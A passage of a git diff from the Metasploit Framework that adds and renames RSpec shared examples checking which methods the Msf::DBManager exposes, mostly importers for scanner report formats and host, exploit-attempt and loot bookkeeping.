'Msf::DBManager::Event' do + it { is_expected.to respond_to :events } + it { is_expected.to respond_to :report_event } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb new file mode 100644 index 0000000000..28eeeaacf8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::ExploitAttempt' do + it { is_expected.to respond_to :report_exploit } + it { is_expected.to respond_to :report_exploit_attempt } + it { is_expected.to respond_to :report_exploit_failure } + it { is_expected.to respond_to :report_exploit_success } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/exploited_host.rb b/spec/support/shared/examples/msf/db_manager/exploited_host.rb new file mode 100644 index 0000000000..4047daaf2e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/exploited_host.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::ExploitedHost' do + it { is_expected.to respond_to :each_exploited_host } + it { is_expected.to respond_to :exploited_hosts } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index 05e3f09697..e207827c6d 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -20,4 +20,4 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de child_node.content.should == attribute.to_s end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/host.rb b/spec/support/shared/examples/msf/db_manager/host.rb new file mode 100644 index 0000000000..7472148298 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/host.rb @@ -0,0 +1,11 @@ +shared_examples_for 'Msf::DBManager::Host' do + it { is_expected.to respond_to :del_host } + it { is_expected.to respond_to :each_host } + it { is_expected.to respond_to :find_or_create_host } + it { is_expected.to respond_to :get_host } + it { is_expected.to respond_to :has_host? } + it { is_expected.to respond_to :hosts } + it { is_expected.to respond_to :normalize_host } + it { is_expected.to respond_to :report_host } + it { is_expected.to respond_to :update_host_via_sysinfo } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/host_detail.rb b/spec/support/shared/examples/msf/db_manager/host_detail.rb new file mode 100644 index 0000000000..92c3d0529e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/host_detail.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::HostDetail' do + it { is_expected.to respond_to :report_host_details } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/host_tag.rb b/spec/support/shared/examples/msf/db_manager/host_tag.rb new file mode 100644 index 0000000000..547673cfb0 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/host_tag.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::HostTag' do + it { is_expected.to respond_to :report_host_tag } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import.rb b/spec/support/shared/examples/msf/db_manager/import.rb new file mode 100644 index 0000000000..9a1fd3f4f9 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import.rb @@ -0,0 +1,36 @@ +shared_examples_for 'Msf::DBManager::Import' do + it { is_expected.to respond_to :dehex } + it { is_expected.to respond_to :emit } + it { is_expected.to respond_to :import } + it { is_expected.to respond_to :import_file } + it { is_expected.to respond_to :import_filetype_detect } + it { is_expected.to respond_to :msf_import_timestamps } + it { is_expected.to respond_to :report_import_note } + it { is_expected.to respond_to :rexmlify } + it { is_expected.to respond_to :validate_import_file } + + it_should_behave_like 'Msf::DBManager::Import::Acunetix' + it_should_behave_like 'Msf::DBManager::Import::Amap' + it_should_behave_like 'Msf::DBManager::Import::Appscan' + it_should_behave_like 'Msf::DBManager::Import::Burp' + it_should_behave_like 'Msf::DBManager::Import::CI' + it_should_behave_like 'Msf::DBManager::Import::Foundstone' + it_should_behave_like 'Msf::DBManager::Import::FusionVM' + it_should_behave_like 'Msf::DBManager::Import::IP360' + it_should_behave_like 'Msf::DBManager::Import::IPList' + it_should_behave_like 'Msf::DBManager::Import::Libpcap' + it_should_behave_like 'Msf::DBManager::Import::MBSA' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework' + it_should_behave_like 'Msf::DBManager::Import::Nessus' + it_should_behave_like 'Msf::DBManager::Import::Netsparker' + it_should_behave_like 'Msf::DBManager::Import::Nexpose' + it_should_behave_like 'Msf::DBManager::Import::Nikto' + it_should_behave_like 'Msf::DBManager::Import::Nmap' + it_should_behave_like 'Msf::DBManager::Import::OpenVAS' + it_should_behave_like 'Msf::DBManager::Import::Outpost24' + it_should_behave_like 'Msf::DBManager::Import::Qualys' + it_should_behave_like 'Msf::DBManager::Import::Report' + it_should_behave_like 'Msf::DBManager::Import::Retina' + it_should_behave_like 'Msf::DBManager::Import::Spiceworks' + it_should_behave_like 'Msf::DBManager::Import::Wapiti' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/acunetix.rb b/spec/support/shared/examples/msf/db_manager/import/acunetix.rb new file mode 100644 index 0000000000..11fda62d68 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/acunetix.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Acunetix' do + it { is_expected.to respond_to :import_acunetix_noko_stream } + it { is_expected.to respond_to :import_acunetix_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/amap.rb b/spec/support/shared/examples/msf/db_manager/import/amap.rb new file mode 100644 index 0000000000..fba82ef898 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/amap.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::Amap' do + it { is_expected.to respond_to :import_amap_log } + it { is_expected.to respond_to :import_amap_log_file } + it { is_expected.to respond_to :import_amap_mlog } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/appscan.rb b/spec/support/shared/examples/msf/db_manager/import/appscan.rb new file mode 100644 index 0000000000..e95f95a9fe --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/appscan.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Appscan' do + it { is_expected.to respond_to :import_appscan_noko_stream } + it { is_expected.to respond_to :import_appscan_xml } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/burp.rb b/spec/support/shared/examples/msf/db_manager/import/burp.rb new file mode 100644 index 0000000000..33839490f1 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/burp.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Burp' do + it { is_expected.to respond_to :import_burp_session_noko_stream } + it { is_expected.to respond_to :import_burp_session_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ci.rb b/spec/support/shared/examples/msf/db_manager/import/ci.rb new file mode 100644 index 0000000000..810480c126 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ci.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::CI' do + it { is_expected.to respond_to :import_ci_noko_stream } + it { is_expected.to respond_to :import_ci_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/foundstone.rb b/spec/support/shared/examples/msf/db_manager/import/foundstone.rb new file mode 100644 index 0000000000..47c11d7ce4 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/foundstone.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Foundstone' do + it { is_expected.to respond_to :import_foundstone_noko_stream } + it { is_expected.to respond_to :import_foundstone_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/fusion_vm.rb b/spec/support/shared/examples/msf/db_manager/import/fusion_vm.rb new file mode 100644 index 0000000000..6240582d12 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/fusion_vm.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::FusionVM' do + it { is_expected.to respond_to :import_fusionvm_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ip360.rb b/spec/support/shared/examples/msf/db_manager/import/ip360.rb new file mode 100644 index 0000000000..ffb4183ba6 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip360.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::IP360' do + it_should_behave_like 'Msf::DBManager::Import::IP360::ASPL' + it_should_behave_like 'Msf::DBManager::Import::IP360::V3' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/ip360/aspl.rb b/spec/support/shared/examples/msf/db_manager/import/ip360/aspl.rb new file mode 100644 index 0000000000..0e7820628e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip360/aspl.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::IP360::ASPL' do + it { is_expected.to respond_to :import_ip360_aspl_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ip360/v3.rb b/spec/support/shared/examples/msf/db_manager/import/ip360/v3.rb new file mode 100644 index 0000000000..78099457dd --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip360/v3.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::IP360::V3' do + it { is_expected.to respond_to :import_ip360_xml_file } + it { is_expected.to respond_to :import_ip360_xml_v3 } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ip_list.rb b/spec/support/shared/examples/msf/db_manager/import/ip_list.rb new file mode 100644 index 0000000000..6404a601a9 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip_list.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::IPList' do + it { is_expected.to respond_to :import_ip_list } + it { is_expected.to respond_to :import_ip_list_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/libpcap.rb b/spec/support/shared/examples/msf/db_manager/import/libpcap.rb new file mode 100644 index 0000000000..941e42646c --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/libpcap.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Libpcap' do + it { is_expected.to respond_to :import_libpcap } + it { is_expected.to respond_to :import_libpcap_file } + it { is_expected.to respond_to :inspect_single_packet } + it { is_expected.to respond_to :inspect_single_packet_http } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/mbsa.rb b/spec/support/shared/examples/msf/db_manager/import/mbsa.rb new file mode 100644 index 0000000000..ea77799037 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/mbsa.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::MBSA' do + it { is_expected.to respond_to :import_mbsa_noko_stream } + it { is_expected.to respond_to :import_mbsa_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework.rb new file mode 100644 index 0000000000..3b6362dfec --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework' do + it { is_expected.to respond_to :nils_for_nulls } + it { is_expected.to respond_to :unserialize_object } + + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::Credential' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::Zip' +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/credential.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/credential.rb new file mode 100644 index 0000000000..548c52a69f --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/credential.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::Credential' do + it { is_expected.to respond_to :import_msf_cred_dump } + it { is_expected.to respond_to :import_msf_cred_dump_zip } + it { is_expected.to respond_to :import_msf_pwdump } +end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb similarity index 96% rename from spec/support/shared/examples/msf/db_manager/import_msf_xml.rb rename to spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 5e28d2f5e6..87a9c48ef0 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'builder' -shared_examples_for 'Msf::DBManager::ImportMsfXml' do +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do # Serialized format from pro/modules/auxiliary/pro/report.rb def serialize(object) # FIXME https://www.pivotaltracker.com/story/show/46578647 @@ -85,7 +85,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::ImportMsfXml + db_manager.should be_a Msf::DBManager::Import::MetasploitFramework::XML end context 'CONSTANTS' do @@ -136,31 +136,31 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', 'MetasploitExpressV1', :allow_yaml => true ) it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', 'MetasploitExpressV2', :allow_yaml => true ) it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', 'MetasploitExpressV3', :allow_yaml => false ) it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', 'MetasploitExpressV4', :allow_yaml => false ) context 'with other' do - it 'should raise DBImportError' do + it 'should raise Msf::DBImportError' do expect { metadata }.to raise_error( @@ -171,6 +171,8 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end end + it { is_expected.to respond_to :import_msf_file } + context '#import_msf_text_element' do let(:parent_element) do document.root @@ -273,8 +275,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with :type' do - include_context 'DatabaseCleaner' - let(:source) do xml.tag!("web_#{type}") do web_site = web_vuln.web_site @@ -575,7 +575,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' context 'specialization return' do let(:element) do @@ -618,8 +618,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with required attributes' do - include_context 'DatabaseCleaner' - let(:element) do document.root end @@ -673,7 +671,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' context 'specialization return' do let(:element) do @@ -775,8 +773,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with required attributes' do - include_context 'DatabaseCleaner' - let(:element) do document.root end @@ -846,7 +842,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' context 'specialization return' do let(:element) do @@ -952,8 +948,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with required attributes' do - include_context 'DatabaseCleaner' - let(:element) do document.root end @@ -1030,8 +1024,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with web_forms/web_form elements' do - include_context 'DatabaseCleaner' - let(:data) do xml.tag!('MetasploitV4') do xml.web_forms do @@ -1071,8 +1063,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with web_pages/web_page elements' do - include_context 'DatabaseCleaner' - let(:data) do xml.tag!('MetasploitV4') do xml.web_pages do @@ -1124,8 +1114,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with web_vulns/web_vuln elements' do - include_context 'DatabaseCleaner' - let(:data) do xml.tag!('MetasploitV4') do xml.web_vulns do diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb similarity index 80% rename from spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb rename to spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb index 017b08d427..a467eb75ec 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb @@ -1,5 +1,5 @@ # -*- coding:binary -*- -shared_examples_for 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag' do |root_tag, options={}| +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag' do |root_tag, options={}| options.assert_valid_keys(:allow_yaml) allow_yaml = options.fetch(:allow_yaml) diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb similarity index 89% rename from spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb rename to spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb index 8ccf5f5573..711d92f075 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb @@ -1,5 +1,5 @@ # -*- coding:binary -*- -shared_examples_for 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' do +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' do it 'should call #import_msf_web_element with element' do db_manager.should_receive(:import_msf_web_element).with(element, anything) diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/zip.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/zip.rb new file mode 100644 index 0000000000..b65791ede7 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/zip.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::Zip' do + it { is_expected.to respond_to :import_msf_collateral } + it { is_expected.to respond_to :import_msf_zip } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus.rb b/spec/support/shared/examples/msf/db_manager/import/nessus.rb new file mode 100644 index 0000000000..c7f8ec76a0 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus' do + it_should_behave_like 'Msf::DBManager::Import::Nessus::NBE' + it_should_behave_like 'Msf::DBManager::Import::Nessus::XML' +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/nbe.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/nbe.rb new file mode 100644 index 0000000000..1925c90f09 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/nbe.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::NBE' do + it { is_expected.to respond_to :import_nessus_nbe } + it { is_expected.to respond_to :import_nessus_nbe_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/xml.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/xml.rb new file mode 100644 index 0000000000..4e6fb60f18 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/xml.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::XML' do + it { is_expected.to respond_to :import_nessus_xml_file } + + it_should_behave_like 'Msf::DBManager::Import::Nessus::XML::V1' + it_should_behave_like 'Msf::DBManager::Import::Nessus::XML::V2' +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v1.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v1.rb new file mode 100644 index 0000000000..fbfab82045 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v1.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::XML::V1' do + it { is_expected.to respond_to :import_nessus_xml } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v2.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v2.rb new file mode 100644 index 0000000000..2da2bfe147 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v2.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::XML::V2' do + it { is_expected.to respond_to :import_nessus_xml_v2 } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/netsparker.rb b/spec/support/shared/examples/msf/db_manager/import/netsparker.rb new file mode 100644 index 0000000000..2de91b7eb8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/netsparker.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Import::Netsparker' do + it { is_expected.to respond_to :import_netsparker_xml } + it { is_expected.to respond_to :import_netsparker_xml_file } + it { is_expected.to respond_to :netsparker_method_map } + it { is_expected.to respond_to :netsparker_params_map } + it { is_expected.to respond_to :netsparker_pname_map } + it { is_expected.to respond_to :netsparker_vulnerability_map } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/nexpose.rb b/spec/support/shared/examples/msf/db_manager/import/nexpose.rb new file mode 100644 index 0000000000..8a0bb57bf1 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nexpose.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Nexpose' do + it_should_behave_like 'Msf::DBManager::Import::Nexpose::Raw' + it_should_behave_like 'Msf::DBManager::Import::Nexpose::Simple' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/nexpose/raw.rb b/spec/support/shared/examples/msf/db_manager/import/nexpose/raw.rb new file mode 100644 index 0000000000..f63f71c855 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nexpose/raw.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Msf::DBManager::Import::Nexpose::Raw' do + it { is_expected.to respond_to :import_nexpose_raw_noko_stream } + it { is_expected.to respond_to :import_nexpose_rawxml } + it { is_expected.to respond_to :import_nexpose_rawxml_file } + it { is_expected.to respond_to :nexpose_host_from_rawxml } + it { is_expected.to respond_to :nexpose_refs_to_struct } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nexpose/simple.rb b/spec/support/shared/examples/msf/db_manager/import/nexpose/simple.rb new file mode 100644 index 0000000000..999be87806 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nexpose/simple.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::Nexpose::Simple' do + it { is_expected.to respond_to :import_nexpose_noko_stream } + it { is_expected.to respond_to :import_nexpose_simplexml } + it { is_expected.to respond_to :import_nexpose_simplexml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nikto.rb b/spec/support/shared/examples/msf/db_manager/import/nikto.rb new file mode 100644 index 0000000000..50b10ae646 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nikto.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Nikto' do + it { is_expected.to respond_to :import_nikto_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nmap.rb b/spec/support/shared/examples/msf/db_manager/import/nmap.rb new file mode 100644 index 0000000000..52354a196a --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nmap.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Nmap' do + it { is_expected.to respond_to :import_nmap_noko_stream } + it { is_expected.to respond_to :import_nmap_xml } + it { is_expected.to respond_to :import_nmap_xml_file } + it { is_expected.to respond_to :nmap_msf_service_map } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/open_vas.rb b/spec/support/shared/examples/msf/db_manager/import/open_vas.rb new file mode 100644 index 0000000000..9ffc75d42f --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/open_vas.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::OpenVAS' do + it { is_expected.to respond_to :import_openvas_new_xml } + it { is_expected.to respond_to :import_openvas_new_xml_file } + it { is_expected.to respond_to :import_openvas_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/outpost24.rb b/spec/support/shared/examples/msf/db_manager/import/outpost24.rb new file mode 100644 index 0000000000..5de0d6cad1 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/outpost24.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Outpost24' do + it { is_expected.to respond_to :import_outpost24_noko_stream } + it { is_expected.to respond_to :import_outpost24_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/qualys.rb b/spec/support/shared/examples/msf/db_manager/import/qualys.rb new file mode 100644 index 0000000000..769ec73849 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/qualys.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Qualys' do + it_should_behave_like 'Msf::DBManager::Import::Qualys::Asset' + it_should_behave_like 'Msf::DBManager::Import::Qualys::Scan' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/qualys/asset.rb b/spec/support/shared/examples/msf/db_manager/import/qualys/asset.rb new file mode 100644 index 0000000000..f5aace0ae5 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/qualys/asset.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Qualys::Asset' do + it { is_expected.to respond_to :find_qualys_asset_ports } + it { is_expected.to respond_to :find_qualys_asset_vuln_refs } + it { is_expected.to respond_to :find_qualys_asset_vulns } + it { is_expected.to respond_to :import_qualys_asset_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/qualys/scan.rb b/spec/support/shared/examples/msf/db_manager/import/qualys/scan.rb new file mode 100644 index 0000000000..f9806349ed --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/qualys/scan.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Qualys::Scan' do + it { is_expected.to respond_to :import_qualys_scan_xml } + it { is_expected.to respond_to :import_qualys_scan_xml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/report.rb b/spec/support/shared/examples/msf/db_manager/import/report.rb new file mode 100644 index 0000000000..e099194576 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/report.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Report' do + it { is_expected.to respond_to :import_report } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/retina.rb b/spec/support/shared/examples/msf/db_manager/import/retina.rb new file mode 100644 index 0000000000..d96778393c --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/retina.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Retina' do + it { is_expected.to respond_to :import_retina_xml } + it { is_expected.to respond_to :import_retina_xml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/spiceworks.rb b/spec/support/shared/examples/msf/db_manager/import/spiceworks.rb new file mode 100644 index 0000000000..08e653a47b --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/spiceworks.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Spiceworks' do + it { is_expected.to respond_to :import_spiceworks_csv } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/wapiti.rb b/spec/support/shared/examples/msf/db_manager/import/wapiti.rb new file mode 100644 index 0000000000..2f7432549a --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/wapiti.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Wapiti' do + it { is_expected.to respond_to :import_wapiti_xml } + it { is_expected.to respond_to :import_wapiti_xml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/ip_address.rb b/spec/support/shared/examples/msf/db_manager/ip_address.rb new file mode 100644 index 0000000000..4859b18825 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/ip_address.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Msf::DBManager::IPAddress' do + it { is_expected.to respond_to :ipv46_validator } + it { is_expected.to respond_to :ipv4_validator } + it { is_expected.to respond_to :ipv6_validator } + it { is_expected.to respond_to :rfc3330_reserved } + it { is_expected.to respond_to :validate_ips } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/loot.rb b/spec/support/shared/examples/msf/db_manager/loot.rb new file mode 100644 index 0000000000..8aa0b5ae5b --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/loot.rb @@ -0,0 +1,6 